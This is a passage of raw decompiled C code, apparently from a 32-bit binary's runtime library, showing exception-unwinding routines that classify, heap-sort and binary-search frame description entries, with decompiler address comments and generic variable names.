// continue -> 0x80a7cca
continue;
}
} else {
// 0x80a7d07
g96 = g102 + 8;
g97 = v22;
g95 = v23;
int32_t v27;
int32_t v28;
read_encoded_value_with_base_723(v10, v28, v27);
g95 = g101;
size_of_encoded_value(v9);
uint32_t v29 = g95; // 0x80a7d29
int32_t v30 = -1;
if (v29 < 4) {
int32_t v31 = 8 * v29; // 0x80a7d53
g96 = v31;
uint32_t v32 = v31 & 24; // 0x80a7d5f
int32_t v33 = 0; // 0x80a7d61
if (v32 != 0) {
// if_80a7d5f_0_true
v33 = (1 << v32) - 1;
// branch -> after_if_80a7d5f_0
}
// after_if_80a7d5f_0
v30 = v33;
// branch -> 0x80a7d33
}
// 0x80a7d33
if (v30 == v10) {
int32_t v34 = g102; // 0x80a7d3c
int32_t v35 = *(int32_t *)v34 + v34; // 0x80a7d3e
g95 = v35;
int32_t v36 = v35 + 4; // 0x80a7d40
g102 = v36;
if (*(int32_t *)v36 == 0) {
// break -> 0x80a7d4c
break;
}
v8 = v36;
v11 = v22;
v12 = v23;
v13 = v24;
// continue -> 0x80a7cca
continue;
}
}
int32_t v37 = v4->e0; // 0x80a7ca6
g97 = v37;
if (v37 == 0) {
v17 = v23;
goto lab_0x6c41490;
}
int32_t v38 = v4->e1; // 0x80a7cac
*(int32_t *)(v37 + 8 + 4 * v38) = g102;
v4->e1 = v38 + 1;
v17 = v23;
// branch -> 0x80a7cb8
goto lab_0x6c41490;
}
// 0x80a7cb8
v20 = g102;
v19 = *(int32_t *)v20 + v20;
g95 = v19;
v21 = v19 + 4;
g102 = v21;
if (*(int32_t *)v21 == 0) {
// break -> 0x80a7d4c
break;
}
v8 = v21;
v11 = v16;
v12 = v17;
v13 = v18;
// continue -> 0x80a7cca
}
// 0x80a7d4c
g101 = v2;
g102 = v1;
return 0;
}
// Address range: 0x80a8614 - 0x80a8620
void search_object(struct struct_45 * a1, int32_t a2, int32_t * a3) {
// 0x80a8614
int32_t v1;
function_80a8625(v1);
}
// Address range: 0x80a8625 - 0x80a8d66
int32_t function_80a8625(int32_t a1) {
struct struct_118 * v1 = NULL; // bp-4
int32_t * v2;
g98 = (int32_t)v2 + 0x890d3;
int32_t v3 = g95; // 0x80a862c
struct struct_118 * v4 = (struct struct_118 *)v3; // 0x80a862c_0
uint32_t v5 = g97; // 0x80a8632
int32_t * v6 = (int32_t *)v5; // 0x80a8632_0
int32_t v7 = v3 + 16; // 0x80a863a
int32_t v8 = (int32_t)*(char *)v7 | v3 & -256; // 0x80a863a
g95 = v8;
if (v8 == 1) {
int32_t v9 = *(int32_t *)v7; // 0x80a8645
g96 = v9;
int32_t * v10 = (int32_t *)(v9 / 2048); // 0x80a864d_0
int32_t v11; // 0x80a8b36163
int32_t v12; // 0x80a8b1b
int32_t v13; // 0x80a8c61
int32_t v14; // 0x80a8b34159
int32_t v15; // 0x80a8b34162
int32_t v16; // 0x80a8764
int32_t * v17; // 0x80a8693_0
int32_t * v18; // 0x80a8727_0
int32_t * v19; // 0x80a8758_0
int32_t * v20; // 0x80a87da_0
struct struct_118 * v21; // 0x80a87dd_0
int32_t * v22; // bp+336
int32_t * v23; // 0x80a8881_0
char * v24; // 0x80a8889_0
int32_t * v25; // 0x80a8903_1
int32_t * v26; // 0x80a8a53_5
int32_t * v27; // bp+021
int32_t * v28; // bp+413
int32_t * v29;
int32_t * v30; // 0x80a8c26_1
int32_t * v31; // bp+030
int32_t v32;
int32_t v33;
int32_t v34; // 0x80a8c94
int32_t v35; // 0x80a89ea
struct struct_118 * v36; // bp-156
int32_t * v37;
struct struct_6 * v38; // bp-28
int32_t v39;
struct struct_118 * v40; // bp-92
struct struct_118 * v41; // bp-96
int32_t v42; // 0x80a86b7
int32_t v43; // 0x80a870a
int32_t v44; // 0x80a8903
int32_t v45; // 0x80a8af2
int32_t v46; // 0x80a8b00
int32_t v47; // 0x80a8c53
int32_t * v48; // bp+045
int32_t * v49; // bp+046
int32_t * v50; // bp+047
int32_t * v51; // bp+048
int32_t * v52; // bp+050
int32_t * v53; // bp+051
int32_t v54; // 0x80a8d09
int32_t v55; // 0x80a8900
int32_t v56; // 0x80a865f
int32_t v57; // 0x80a875b
int32_t v58; // 0x80a8881
int32_t v59; // 0x80a8a1c
int32_t v60; // 0x80a8a25
int32_t v61; // 0x80a8b00
int32_t v62; // 0x80a8c3b
int32_t v63; // 0x80a8c44
int32_t v64; // 0x80a8c6e
int32_t v65; // 0x80a8ce4
int32_t v66; // 0x80a866f
int32_t v67; // 0x80a86a4
int32_t v68; // 0x80a86bf
int32_t v69; // 0x80a86d1
int32_t v70; // 0x80a86d1168
int32_t v71; // 0x80a86fa
int32_t v72; // 0x80a8700
int32_t v73; // 0x80a875e
int32_t v74; // 0x80a8893
struct struct_118 * v75; // 0x80a8893_0
int32_t v76; // 0x80a88dc
int32_t v77; // 0x80a8900
uint32_t v78; // 0x80a89e6
int32_t v79; // 0x80a8a0f
int32_t v80; // 0x80a8bc114
int32_t v81;
int32_t v82;
int32_t v83; // 0x80a8c3b
int32_t v84; // 0x80a8d31
int32_t v85; // 0x80a8900
int32_t v86; // 0x80a8bd5
int32_t v87; // 0x80a8bd5108
int32_t v88; // 0x80a8693
int32_t v89; // 0x80a86b4
int32_t v90; // 0x80a86d1
int32_t v91; // 0x80a86d1170
int32_t v92; // 0x80a86db
struct struct_6 * v93; // 0x80a86db_0
int32_t v94; // 0x80a8727
int32_t v95; // 0x80a8789
struct struct_6 * v96; // 0x80a8789_0
int32_t v97; // 0x80a878f
int32_t v98; // 0x80a87e0
int32_t v99; // 0x80a885627
struct struct_6 * v100; // 0x80a8878_0
int32_t v101; // 0x80a88f1
int32_t v102; // 0x80a88f7
uint32_t v103; // 0x80a890f
int32_t v104; // 0x80a89e0
int32_t v105; // 0x80a8a01
uint32_t v106; // 0x80a8a6b
int32_t v107; // 0x80a8a9032
uint32_t v108; // 0x80a8b4474
int32_t * v109; // bp+024
int32_t * v110; // bp+025
int32_t v111; // 0x80a8c20
int32_t v112; // 0x80a8c26
uint32_t v113; // 0x80a8cae
int32_t * v114; // bp+028
int32_t v115; // 0x80a8d06
int32_t v116; // 0x80a8d31
int32_t v117; // 0x80a8d4622
int32_t * v118; // bp+042
int32_t * v119; // bp+043
int32_t * v120; // bp+044
int32_t v121; // 0x80a88e2
int32_t v122; // 0x80a8908
int32_t v123; // 0x80a8a3a
int32_t v124; // 0x80a8c58
int32_t v125; // 0x80a87bc
int32_t v126; // 0x80a8908
int32_t v127; // 0x80a8a3a
int32_t v128; // 0x80a87cf
int32_t v129; // 0x80a88a1
uint32_t v130; // 0x80a88e2
if ((v9 & 1024) == 0) {
int32_t v131 = *(int32_t *)(v3 + 12); // 0x80a8956
int32_t v132 = *(int32_t *)v131; // 0x80a8959
g97 = v132;
int32_t * v133; // bp+019
int32_t * v134;
uint32_t v135; // 0x80a89ab
int32_t v136; // 0x80a8997
int32_t v137; // 0x80a89a0
int32_t v138; // 0x80a89b8
int32_t v139; // 0x80a89ad
if (v132 == 0) {
v136 = 0;
v133 = v10;
// branch -> 0x80a8997
} else {
// 0x80a8963
g101 = v131;
int32_t * v140 = v10; // bp+020
// branch -> 0x80a8968
while (true) {
// 0x80a8968
g95 = (int32_t)v4;
v1 = (struct struct_118 *)0x80a8973;
g99 -= 4;
classify_object_over_fdes(a1, 0);
int32_t v141 = g95 + (int32_t)v140; // 0x80a8973
int32_t * v142 = (int32_t *)v141; // 0x80a8973_4
int32_t v143 = g101 + 4; // 0x80a8979
int32_t v144 = *(int32_t *)v143; // 0x80a8979
g97 = v144;
g101 = v143;
if (v144 == 0) {
// 0x80a8983
v9 = *(int32_t *)((int32_t)v4 + 16);
v136 = 2048 * v141;
v133 = v142;
// branch -> 0x80a8997
// 0x80a8997
v137 = v9 % 2048 | v136;
g96 = v137;
*(int32_t *)((int32_t)v4 + 16) = v137;
v135 = g96;
v139 = v135 / 2048;
g95 = v139;
if ((int32_t)v133 != v139) {
// 0x80a89b8
v138 = v135 % 2048;
g96 = v138;
*(int32_t *)((int32_t)v4 + 16) = v138;
// branch -> 0x80a89c7
}
// 0x80a89c7
v51 = v2;
v119 = v134;
if (v133 != NULL) {
v27 = v133;
// 0x80a8659
v56 = (int32_t)v27;
__libc_malloc((int32_t *)(4 * v56 + 8), v39, (int32_t)v1);
v66 = g95;
v38 = (struct struct_6 *)v66;
if (v66 != 0) {
// 0x80a8683
*(int32_t *)(v66 + 4) = 0;
__libc_malloc((int32_t *)g101, v39, (int32_t)v1);
v88 = g95;
v17 = (int32_t *)v88;
if (v88 != 0) {
// 0x80a869d
*(int32_t *)(v88 + 4) = 0;
// branch -> 0x80a86a4
}
// 0x80a86a4
v67 = (int32_t)v4;
g101 = v67;
if (*(char *)(v67 + 16) == 2) {
// 0x80a8a9a
g95 = v67;
g96 = *(int32_t *)(v67 + 12);
g97 = g100 - 28;
v1 = (struct struct_118 *)0x80a8aab;
g99 -= 4;
add_fdes(a1, 0, 0);
v50 = v2;
// branch -> 0x80a86db
} else {
// 0x80a86b4
v89 = *(int32_t *)(v67 + 12);
g95 = v89;
v42 = *(int32_t *)v89;
g96 = v42;
if (v42 != 0) {
// 0x80a86bd
v68 = g100 - 28;
g102 = v68;
g101 = v89;
g97 = v68;
g95 = v67;
add_fdes(a1, 0, 0);
v70 = g101 + 4;
v91 = *(int32_t *)v70;
g96 = v91;
g101 = v70;
if (v91 != 0) {
while (true) {
// 0x80a86c4
g97 = g102;
g95 = (int32_t)v4;
add_fdes(a1, 0, 0);
v69 = g101 + 4;
v90 = *(int32_t *)v69;
g96 = v90;
g101 = v69;
if (v90 == 0) {
v50 = (int32_t *)0x80a86d1;
// break -> 0x80a86db
break;
}
// continue -> 0x80a86c4
}
// 0x80a86db
v93 = v38;
v92 = (int32_t)v93;
if (v93 != NULL) {
// 0x80a86eb
g96 = v56;
if (v93->e1 != v27) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
}
// 0x80a86fa
v71 = (int32_t)v4;
g101 = v71;
v72 = v71 + 16;
if (*(char *)v72 == 4) {
// 0x80a8ae0
v45 = g98;
if (*(int16_t *)v72 == 2040) {
// 0x80a8af2
v46 = v45;
v117 = v45 - 0x89f44;
// branch -> 0x80a8713
} else {
// 0x80a8ce4
v65 = v45 - 0x89f24;
g101 = v65;
v46 = v45;
v117 = v65;
// branch -> 0x80a8713
}
// 0x80a8713
g102 = v88;
int32_t v145; // 0x80a8949
int32_t v146; // 0x80a8946
struct struct_118 * v147; // 0x80a887b_0
int32_t * v148; // bp+012
int32_t * v149; // 0x80a8d15_09
if (v88 != 0) {
// 0x80a8721
v18 = (int32_t *)(v92 + 4);
v94 = *v18;
int32_t v150; // 0x80a8d21
int32_t v151; // 0x80a8d21142
if (v94 != 0) {
// 0x80a8b00
v61 = v46 + 0x7888;
v36 = (struct struct_118 *)v61;
v12 = v92 + 8;
*(int32_t *)(v88 + 8) = v61;
v14 = v12;
g101 = v14;
g96 = 1;
if (v94 != 1) {
v11 = 1;
v15 = v14;
while (true) {
// 0x80a8b44
v108 = (int32_t)v36;
g1 = v15 < v108;
g103 = v15 == v108;
int32_t v152; // 0x80a8b36
int32_t v153; // 0x80a8b34
int32_t v154; // 0x80a8b27
if (v15 != v108) {
lab_0xafb6150:;
int32_t v155; // 0x80a8b44
while (true) {
// 0x80a8b4c
g95 = v11;
g97 = v92;
g99 -= 20;
((int32_t (*)(int32_t, int32_t, int32_t, int32_t))v117)(a1, 0, 0, 0);
g99 += 16;
int32_t v156 = g101;
if (g95 <= 0) {
int32_t * v157 = (int32_t *)(g102 + 8 + 4 * (v156 - v12) / 4); // 0x80a8b77_0
g101 = *v157;
*v157 = 0;
v155 = g101;
uint32_t v158 = (int32_t)v36; // 0x80a8b44
g1 = v155 < v158;
g103 = v155 == v158;
if (v155 == v158) {
// break -> 0x80a8b24
break;
}
// continue -> 0x80a8b4c
continue;
} else {
v155 = v156;
}
}
// 0x80a8b24
v154 = 4 * v11;
*(int32_t *)(g102 + 8 + v154) = v155;
v153 = v154 + v12;
g101 = v153;
v152 = v11 + 1;
g96 = v152;
if (v94 == v152) {
// break -> 0x80a8b85
break;
}
v11 = v152;
v15 = v153;
// continue -> 0x80a8b44
continue;
}
lab_0x6c94920:
// 0x80a8b24
v154 = 4 * v11;
*(int32_t *)(g102 + 8 + v154) = v15;
v153 = v154 + v12;
g101 = v153;
v152 = v11 + 1;
g96 = v152;
if (v94 == v152) {
// break -> 0x80a8b85
break;
}
v11 = v152;
v15 = v153;
// continue -> 0x80a8b44
}
// 0x80a8b85
v32 = 0;
v87 = 0;
v82 = 0;
v81 = 0;
v29 = (int32_t *)v93;
// branch -> 0x80a8bd5
while (true) {
// 0x80a8bd5
v86 = v87;
v80 = v81;
v28 = v29;
// branch -> 0x80a8bd5
lab_0x6d0fe20:
while (true) {
int32_t v159 = g102; // 0x80a8bd5
int32_t v160 = (int32_t)v28; // 0x80a8bdd
int32_t v161 = *(int32_t *)(v160 + 8); // 0x80a8be3
int32_t v162; // 0x80a8bed
if (*(int32_t *)(4 * v86 + 8 + v159) == 0) {
// 0x80a8bdd
*(int32_t *)(4 * v82 + 8 + v159) = v161;
v162 = v82 + 1;
int32_t v163 = v32 + 1; // 0x80a8bf1
v32 = v163;
if (v94 == v163) {
// break (via goto) -> 0x80a8bfe
goto lab_0x6c9e670;
}
v87 = v163;
v82 = v162;
v81 = v80;
v29 = (int32_t *)(v160 + 4);
// continue (via goto) -> 0x80a8bd5
goto lab_0x7032100;
} else {
// 0x80a8ba8
*(int32_t *)(4 * v80 + v12) = v161;
int32_t v164 = v80 + 1; // 0x80a8bc1
int32_t v165 = v32 + 1; // 0x80a8bc8
v32 = v165;
int32_t * v166 = (int32_t *)(v160 + 4); // 0x80a8bc9_4
if (v94 == v165) {
// break -> 0x80a8bfe
break;
}
v86 = v165;
v80 = v164;
v28 = v166;
// continue -> 0x80a8bd5
continue;
}
lab_0x6c9e670:
// 0x80a8bfe
g102 = v88;
// branch -> 0x80a8746
// 0x80a8746
*v18 = v80;
g96 = v88;
v19 = (int32_t *)(v88 + 4);
*v19 = v162;
v57 = g102;
v73 = (int32_t)(int32_t *)v38;
g101 = v73;
v16 = *(int32_t *)(v73 + 4) + *(int32_t *)(v57 + 4);
g95 = v16;
if (v16 != v56) {
// 0x80a8d61
g99 -= 4;
abort();
// UNREACHABLE
}
// 0x80a8773
g96 = v57;
g97 = v117;
g95 = (int32_t)v4;
frame_heapsort(a1, 0, 0);
v96 = v38;
v95 = (int32_t)v96;
v97 = *v19;
g96 = v97;
int32_t * v167 = (int32_t *)0x80a8783; // bp+052
if (v97 != 0) {
// 0x80a879d
v125 = v95 + 8;
v53 = (int32_t *)0x80a8783;
v22 = (int32_t *)(v88 + 8 + 4 * v97);
v99 = v97;
v110 = v96->e1;
// branch -> 0x80a87cf
int32_t * v168; // 0x80a8867_0
int32_t * v169; // bp+049
while (true) {
// 0x80a87cf
v128 = v99 - 1;
v20 = (int32_t *)((int32_t)v22 - 4);
v21 = (struct struct_118 *)*v20;
v41 = v21;
v98 = (int32_t)v110;
v52 = v53;
v109 = NULL;
int32_t v170; // 0x80a87b6
if (v110 != NULL) {
lab_0x6ca6790:
// 0x80a87e7
g96 = v98;
int32_t v171 = 4 * v98 + v125; // 0x80a87ed
g101 = v171;
uint32_t v172 = v98 + v128; // 0x80a87f3
g1 = v172 < v98;
g97 = v95;
int32_t v173 = 4 * v172 + v125; // 0x80a87f9
g95 = v173;
struct struct_118 * v174 = v21; // 0x80a8810_0
int32_t v175 = v98;
// branch -> 0x80a880b
while (true) {
int32_t v176 = v175 - 1; // 0x80a880e
g103 = v176 == 0;
g102 = v176;
int32_t * v177 = (int32_t *)v173; // 0x80a880f_0
int32_t v178 = *(int32_t *)(v171 - 4); // 0x80a8813
((int32_t (*)(int32_t, int32_t, int32_t, int32_t))v117)((int32_t)v4, v178, (int32_t)v174, v173);
if (g95 < 1) {
// 0x80a8c0f
v52 = v177;
v109 = (int32_t *)v175;
// branch -> 0x80a87b0
// 0x80a87b0
v170 = (int32_t)v41;
g96 = v170;
*(int32_t *)(4 * ((int32_t)v109 + v128) + v125) = v170;
if (v128 == 0) {
v169 = v52;
// break (via goto) -> 0x80a8861
goto lab_0x6cedc50;
}
v53 = v52;
v22 = v20;
v99 = v128;
v110 = v109;
// continue (via goto) -> 0x80a87cf
goto lab_0x7037c30;
} else {
int32_t v179 = *(int32_t *)(g101 - 4); // 0x80a882a
g95 = v179;
*(int32_t *)v173 = v179;
int32_t v180 = g101 - 4; // 0x80a8832
g101 = v180;
g96 = v173 - 4;
int32_t v181 = g102; // 0x80a883b
g1 = false;
if (v181 == 0) {
int32_t v182 = (int32_t)v41; // 0x80a8848
g96 = v182;
*(int32_t *)(4 * v128 + v125) = v182;
if (v128 == 0) {
v169 = v177;
// break (via goto) -> 0x80a8861
goto lab_0x6cedc50;
}
v53 = v177;
v22 = v20;
v99 = v128;
v110 = NULL;
// continue (via goto) -> 0x80a87cf
goto lab_0x7037c30;
} else {
// 0x80a882a
v171 = v180;
v174 = v41;
v173 = g95;
v175 = v181;
// branch -> 0x80a880b
continue;
}
}
int32_t v183 = *v19; // 0x80a8864
int32_t v184;
int32_t v185 = v184; // 0x80a8867
v168 = (int32_t *)(v185 + 4);
int32_t v186 = *v168; // 0x80a8867
*v168 = v186 + v183;
v167 = v169;
// branch -> 0x80a886a
// 0x80a886a
free(v17);
v49 = v167;
v120 = (int32_t *)0x80a8875;
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v184 = (int32_t)v100;
v147 = v4;
v58 = (int32_t)v147;
v23 = (int32_t *)(v58 + 12);
int32_t v187 = *v23; // 0x80a8881
v100->e0 = (int32_t *)v187;
int32_t v188 = v184; // 0x80a8886
*v23 = v188;
v24 = (char *)(v58 + 16);
char v189 = *v24; // 0x80a8889
*v24 = v189 | 1;
v51 = v49;
v119 = v120;
v148 = (int32_t *)v147;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
uint32_t v190 = *(int32_t *)v75; // 0x80a8899
int32_t * v191; // bp+053
if (v5 < v190) {
v191 = v51;
v150 = 0;
v149 = v148;
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v191;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
unsigned char v192 = *(char *)(v74 + 16); // 0x80a88a1
v129 = (int32_t)v192 | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
int32_t v193 = g99; // 0x80a8d21139
v1 = (struct struct_118 *)0x80a8d26;
g99 = v193 - 4;
int32_t v194 = a1; // 0x80a8d21141
v151 = linear_search_fdes(v194, 0, 0);
if (v151 == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
lab_0x6cbc6c0:
// 0x80a8d31
g95 = (int32_t)v4;
g99 -= 4;
v150 = linear_search_fdes(a1, 0, 0);
if (v150 != 0) {
// break -> 0x80a8943
break;
}
// continue -> 0x80a8d31
continue;
} else {
v150 = 0;
}
}
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v6;
}
v191 = v51;
v150 = v151;
v149 = v6;
} else {
v191 = v51;
v150 = 0;
v149 = v148;
}
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v191;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
struct struct_118 * v195 = v75; // 0x80a89f0_0
v121 = v129;
v48 = v51;
v118 = v119;
int32_t * v196 = v148; // bp+011
// 0x80a88d4
v76 = (int32_t)v195;
if ((v121 & 4) != 0) {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
int32_t * v197; // bp+029
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 += 12;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
int32_t * v198; // 0x80a8c94_5
int32_t * v199; // bp+031
if (v113 > v5) {
lab_0x6ce48f0:
// 0x80a8d59
v199 = (int32_t *)g102;
v197 = v114;
// branch -> 0x80a8cd3
lab_0x6ce5c10:
// 0x80a8cd3
if (v199 <= v197) {
// break -> 0x80a8943
break;
}
v31 = v199;
v114 = v197;
// continue -> 0x80a8c4d
continue;
} else {
lab_0x6ce6200:
// 0x80a8cc0
v198 = (int32_t *)v34;
if ((int32_t)v118 + v113 <= v5) {
// 0x80a8ccf
v199 = v31;
v197 = (int32_t *)(g102 + 1);
// branch -> 0x80a8cd3
goto lab_0x6ce5c10;
}
}
// 0x80a8943
g95 = v124;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v198;
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v197;
}
v191 = v48;
v150 = 0;
v149 = v30;
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v191;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
uint16_t v200 = *(int16_t *)(v76 + 16); // 0x80a88e2
v130 = (int32_t)v200 | v121 & -0x10000;
if (v130 == 2040) {
// 0x80a88f1
v101 = *(int32_t *)(v76 + 12);
v102 = *(int32_t *)(v101 + 4);
if (v102 != 0) {
// 0x80a88fe
v126 = v101 + 8;
v85 = v102;
v55 = 0;
// branch -> 0x80a8900
while (true) {
// 0x80a8900
v77 = v55 + v85;
g96 = v77;
v44 = v77 / 2;
v25 = (int32_t *)v44;
v122 = *(int32_t *)(v126 + 4 * v44);
v103 = *(int32_t *)(v122 + 8);
int32_t v201; // 0x80a8938
int32_t v202; // 0x80a8938
if (v5 < v103) {
lab_0x6cc57e0:
// 0x80a8ad9
v202 = v55;
v201 = v44;
// branch -> 0x80a8938
lab_0x6cc6690:
// 0x80a8938
if (v201 <= v202) {
// break -> 0x80a8943
break;
}
v85 = v201;
v55 = v202;
// continue -> 0x80a8900
continue;
} else {
lab_0x6cc77a0:
// 0x80a8927
if (v5 >= *(int32_t *)(v122 + 12) + v103) {
// 0x80a8935
v202 = v44 + 1;
v201 = v85;
// branch -> 0x80a8938
goto lab_0x6cc6690;
}
}
// 0x80a8943
// branch -> 0x80a8943
// 0x80a8943
g95 = v122;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v25;
}
// 0x80a8943
// branch -> 0x80a8943
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v25;
}
v191 = v48;
v150 = 0;
v149 = v196;
} else {
// 0x80a89da
v104 = *(int32_t *)(v76 + 12);
int32_t * v203 = (int32_t *)v104; // 0x80a89e3_0
v78 = v130 / 8;
v35 = v78 % 256;
g95 = v35;
g97 = v76;
int32_t v204 = g99; // 0x80a89f6
v1 = (struct struct_118 *)0x80a89fb;
g99 = v204 - 4;
base_from_object((struct struct_45 *)&a1);
v105 = *(int32_t *)(v104 + 4);
v33 = v105;
if (v105 != 0) {
// 0x80a8a0c
v79 = v78 % 16;
v59 = g100;
*(int32_t *)(v59 - 160) = v59 - 20;
v60 = g100;
*(int32_t *)(v60 - 148) = v60 - 16;
v127 = v104 + 8;
v106 = (int32_t)v118;
v107 = 0;
// branch -> 0x80a8a30
while (true) {
// 0x80a8a30
int32_t v205; // 0x80a8a90
v123 = *(int32_t *)(v127 + 4 * (v107 + v205) / 2);
g96 = v123 + 8;
g95 = v35;
g99 -= 4;
v26 = (int32_t *)read_encoded_value_with_base_723(a1, 0, 0);
g95 = v79;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
int32_t v206; // 0x80a8a9033
if (v106 > v5) {
lab_0x6cd4070:
// 0x80a8cf9
v205 = g101;
v206 = v107;
// branch -> 0x80a8a90
lab_0x6cd5150:
// 0x80a8a90
if (v206 >= v205) {
// break -> 0x80a8943
break;
}
v107 = v206;
// continue -> 0x80a8a30
continue;
} else {
lab_0x6cd67b0:
// 0x80a8a7d
if (v106 + (int32_t)v37 <= v5) {
// 0x80a8a8c
v205 = g102;
v206 = g101 + 1;
// branch -> 0x80a8a90
goto lab_0x6cd5150;
}
}
// 0x80a8943
g95 = v123;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v26;
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v48;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v26;
}
v191 = v48;
v150 = 0;
v149 = v203;
}
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v191;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
}
lab_0x6cebf10:
// 0x80a87b0
v170 = (int32_t)v21;
g96 = v170;
*(int32_t *)(4 * ((int32_t)v109 + v128) + v125) = v170;
if (v128 == 0) {
v169 = v52;
// break -> 0x80a8861
break;
}
v53 = v52;
v22 = v20;
v99 = v128;
v110 = v109;
// continue -> 0x80a87cf
}
lab_0x6cedc50:
// 0x80a8861
v168 = (int32_t *)(v95 + 4);
*v168 = *v168 + *v19;
v167 = v169;
// branch -> 0x80a886a
}
// 0x80a886a
free(v17);
// branch -> 0x80a8878
// 0x80a8878
v100 = v38;
v147 = v4;
v58 = (int32_t)v147;
v23 = (int32_t *)(v58 + 12);
v100->e0 = (int32_t *)*v23;
*v23 = (int32_t)v100;
v24 = (char *)(v58 + 16);
*v24 = *v24 | 1;
v51 = v167;
v148 = (int32_t *)v147;
// branch -> 0x80a888d
// 0x80a888d
v75 = v4;
v74 = (int32_t)v75;
if (v5 < *(int32_t *)v75) {
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v148;
}
// 0x80a88a1
v129 = (int32_t)*(char *)(v74 + 16) | v5 & -256;
if (v129 == 1) {
// 0x80a8d00
v115 = *(int32_t *)(v74 + 12);
v54 = *(int32_t *)v115;
g97 = v54;
if (v54 != 0) {
// 0x80a8d13
g101 = v115;
g95 = v74;
g99 -= 4;
v151 = linear_search_fdes(a1, 0, 0);
if (v151 == 0) {
while (true) {
// 0x80a8d31
v84 = g101 + 4;
v116 = *(int32_t *)v84;
g97 = v116;
g101 = v84;
if (v116 != 0) {
goto lab_0x6cbc6c0;
}
// 0x80a8943
g95 = 0;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v6;
}
} else {
v150 = v151;
v149 = v6;
}
} else {
v150 = 0;
v149 = v148;
}
// 0x80a8943
g95 = v150;
v146 = g100;
v145 = (int32_t)v51;
g98 = v145;
g101 = v145;
g102 = v145;
g100 = v145;
g99 = v146 + 8;
return (int32_t)v149;
}
v121 = v129;
v48 = v51;
v118 = (int32_t *)0x80a8875;
// 0x80a88d4
v76 = (int32_t)v75;
if ((v121 & 4) != 0) {
// 0x80a8c1a
v111 = *(int32_t *)(v76 + 12);
v40 = (struct struct_118 *)v111;
v112 = *(int32_t *)(v111 + 4);
v30 = (int32_t *)v112;
if (v112 != 0) {
// 0x80a8c34
v62 = g100;
v83 = v62 - 20;
g101 = v83;
*(int32_t *)(v62 - 160) = v83;
v63 = g100;
*(int32_t *)(v63 - 148) = v63 - 16;
v113 = (int32_t)v37;
v31 = v30;
v114 = NULL;
// branch -> 0x80a8c4d
while (true) {
// 0x80a8c4d
v47 = ((int32_t)v114 + (int32_t)v31) / 2;
g102 = v47;
v124 = *(int32_t *)(4 * v47 + 8 + (int32_t)v40);
v13 = v124 + 4;
g95 = v13 - *(int32_t *)v13;
g99 -= 4;
v64 = get_cie_encoding((struct struct_45 *)&a1) % 256;
g97 = (int32_t)v4;
g95 = v64;
g99 -= 4;
base_from_object((struct struct_45 *)&a1);
g96 = v124 + 8;
g95 = v64;
g99 -= 20;
v34 = read_encoded_value_with_base_723(a1, 0, 0);
g95 = g101 % 16;
g99 -= 4;
read_encoded_value_with_base_723(a1, 0, 0);
